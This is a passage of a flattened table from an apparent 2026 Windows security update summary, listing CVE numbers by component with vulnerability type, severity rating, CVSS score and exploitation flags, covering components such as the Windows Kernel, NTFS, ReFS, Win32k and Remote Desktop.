Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service 